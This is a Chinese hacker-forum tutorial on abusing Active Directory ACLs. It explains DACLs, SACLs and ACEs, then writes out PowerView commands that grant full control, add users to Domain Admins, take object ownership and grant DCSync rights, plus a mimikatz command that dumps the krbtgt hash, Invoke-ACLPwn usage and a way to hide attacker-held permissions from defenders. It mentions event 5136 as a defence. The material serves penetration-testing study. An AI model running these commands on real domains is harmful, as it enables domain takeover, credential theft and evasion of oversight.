• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

AD域里的ACL攻防


This Wind

Recommended Posts

最近文章都写星球了,所以没怎么更新。昨天看到了安全客一篇说AD域里的ACL攻防
学习到了,写篇文章更新一下
原文地址:https://www.anquanke.com/post/id/212163#h3-19
注意:有些图和文字来自安全客

介绍

首先想要了解ACL首先需要了解Access Control Model(访问控制模型),根据官网(https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-model)给出的定义:
访问控制模型能够控制进程访问一些安全对象,或者是控制进程执行各种系统管理任务。原文:The access control model enables you to control the ability of a process to access securable objects or to perform various system administration tasks。
用通俗一点的话来说ACM就是一个判断你在一个档案馆(在这里可以理解为整个域)里是否有权限打开某个档案抽屉(用户对象、用户组对象、Computer对象),并且是否能在这个档案抽屉中取走、存放、修改档案(读、写、修改)的一个模型。

访问模型包含哪些部分:
1、Access Tokens(访问tokens)
2、Security Descriptors(安全描述符)
a、Discretionary Access Control List (DACL)
b、System Access Control List (SACL)
Access Control Lists(ACL)
Access Control Entries(ACE)
Access Rights and Access Masks(访问权限和访问掩码)

Access Token
当线程与安全对象交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户,访问令牌包括用户的SID、所在组的SID等等信息

Security Descriptors安全描述符
SID(Security Identifiers)即安全描述符。
安全描述符标识对象的所有者,并包含以下访问控制列表:
1、Discretionary Access Control List (DACL) 自由访问控制列表
2、System Access Control List (SACL) 系统访问控制列表

每一种控制列表中都存在若干条ACE(Access Control Entries)
aYyOMQ.png

一张图描述
aY6PRU.png

DACL

高级安全设置中的权限就是DACL的列表
aY61Qe.png

SACL

高级安全设置中的审核就是SACL的列表
aY62F0.png

其中红色圈出来的每一条都是一条ACE

ACE

ACE是针对特定用户或特定组的单个权限授予(或拒绝权利)的配置结构。ACE有许多不同类型,但是在Active Directory的权限中,只有四种不同的含义,两种分别用于授予和拒绝权限。

Access Mask

Access Mask在ACE中有Access Mask这个字段,它代表着此条ACE所对应的权限,比如完全控制(GenericAll)、修改密码(ResetPassword)、写入属性(WriteMembers)等等。
aYc90A.png

TrusteesTrustees

TrusteesTrustees的意思为受委托人,受托者是一个ACE所应用到的用户账户,组账户或者是登录会话。也就是说,谁是某一个ACE的受托者,那么这条ACE中的Access Mask所对应的权限(可能是拒绝可能是通过)就会赋予受托者。比如下面这一条的受委托人实际上就是zhangs账号。
aYcEp8.png

AD域里常见可利用的ACl

  • GenericAll :拥有一个可以完全控制用户/组的权限
  • GenericWrite :此权限能够更新目标对象的属性值
  • Self-Membership :这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
  • WriteProperty :WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
  • WriteOwner :WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
  • WriteDacl :WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。

用到的工具

ADSI编辑器
powerview

GenericAll

GenericAll on User
使用powerview添加ACL或者手动

Add-DomainObjectAcl -TargetIdentity zhangs -PrincipalIdentity yayi -Rights All -Verbose

这个权限可以完全控制用户
aY2ELQ.png

给予了yayi对zhangs用户完全控制的权限,在查看zhangs的时候可以发现yayi的SID在查询里出现了
aY2MWV.png

此时使用yayi的用户可以修改zhangs用户密码
aY21QU.png

GenericAll on Group
环境和上文相同,GenericAll on Group说的是对一个组有GenericAll权限,查看用户组domain admins:
(yayi是新增加的)
aY2BQO.md.png

powerview将yayi用户添加到domain admins用户添加

Add-DomainObjectAcl  -TargetIdentity "domain admins" -PrincipalIdentity yayi -Rights  all -Verbose
aY22FI.png

添加yayi用户的ACL全部控制权限后查看
aY24l8.png

可以用yayi用户控制domain admins用户组
aY5TmT.png

GenericWrite (写入全部属性)

GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。
aY5Oh9.png

如果您在计算机对象上具有这些特权,那么您可以拉出Kerberos基于资源的受限委托:计算机对象接管。
参考链接:https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution

修改别的属性

Set-DomainObject zhangs -Set @{'scriptPath'='雷电芽衣'} -Verbose
aYop2n.png

WriteDacl

WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
aYoGIe.png

个人感觉WriteDacl和GenericWrite没什么区别

Set-DomainObject zhangs -Set @{'scriptPath'='雷电女王'} -Verbose
aYodMt.png

Self-Membership

这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
重点:主体、添加/删除自身作为成员

aYohLV.png

此时查看dnsadmins用户组可以看到test用户的sid在dnsadmins里看到了
aYoHJJ.png

aYoqzR.png

WriteProperty (Self-Membership)

WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限,在Domain Admins组里设置zhangs账户的WriteProperty权限
WriteProperty和Self-Membership一样 (设置的地方一模一样或者直接设置权限为:添加/删除自身作为成员)
(也可以添加其他用户进控制的组)

aYT9Fe.png
aYTkQI.md.png

WriteProperty on Group

WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限:
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
设置一个组的写入全部属性
(相当于获取了这个组的所有权限)
aYT8O0.png

WriteOwner

WriteOwner权限允许委托人修改对象的安全描述符的所有者部分。也就是说,假如用户A对administrator用户有这个权限,那么A能利用这个权限给自己附加其他的权限。

将zhangs用户的所有者设置为test,并给予test用户完全的控制权限

Set-DomainObjectOwner -Identity S-1-5-21-447451162-2905414466-2158217208-1149 -OwnerIdentity "test" -Verbose
Add-DomainObjectAcl -TargetIdentity zhangs -PrincipalIdentity test -Rights All -Verbose
aYT0p9.png

给一个用户添加DCSync权限

给予test用户:复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes)、 复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个)权限

Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=local" -PrincipalIdentity test -Rights DCSync
aYT70f.png

使用mimikatz导出krbtgt用户的hash

mimikatz.exe "lsadump::dcsync /user:DOMAIN\krbtgt" "exit"
aY7pn0.png

Invoke-ACLPwn
运行时需要.NET 3.5环境,Windows Server 2012安装遇到报错,最后的解决方法(需要在网上下载SxS的安装包https://pan.baidu.com/share/init?surl=kDgdYerM0lVB32Q_IEqLUw提取码:gwzk):

dism.exe /online /enable-feature /all /featurename:NetFX3 /Source:F:\Sources\SxS\

GitHub地址:https://github.com/fox-it/Invoke-ACLPwn
背景信息在发布者博客上:https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
环境需要:

.NET 3.5 + sharphound.exe + mimikatz.exe

用法示例:

.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn 'Administrator'
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -LogToFile
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -NoSecCleanup
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'

使用第一条标识了-NoDCSync(不会做DCSync的动作,只判断是否能够存在能够DCSync的权限)的命令
administrator用户检测出来了其他用户报错
aY7uB6.png

文章上的图

针对DACL的隐身方式

通过隐藏账户可以掩盖主体本身,阻止防御者轻易的发现谁实际上拥有ACE中指定的权限。这种方式主要应对的是对于高危的ACL进行扫描行为。
隐藏用户

1、将要隐藏的用户所有者改为攻击者或者攻击者控制的账户
2、设置一条拒绝完全控制的ACE
添加SELF用户和Everyone用户拒绝类型,将要修改的组/用户名的所有者改为攻击者控制的用户名
aYHgRH.png
之后就会变成一片空白,powerview也查不到

Get-DomainObjectAcl -Identity user01 -domain DOMAIN.local -Resolve
aYblSH.md.png

各种ACL后门

* GPO ACL后门
* ACL Dcsync后门

具体参考文章

防御ACL修改

关注日志里的5136事件

参考链接

 
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now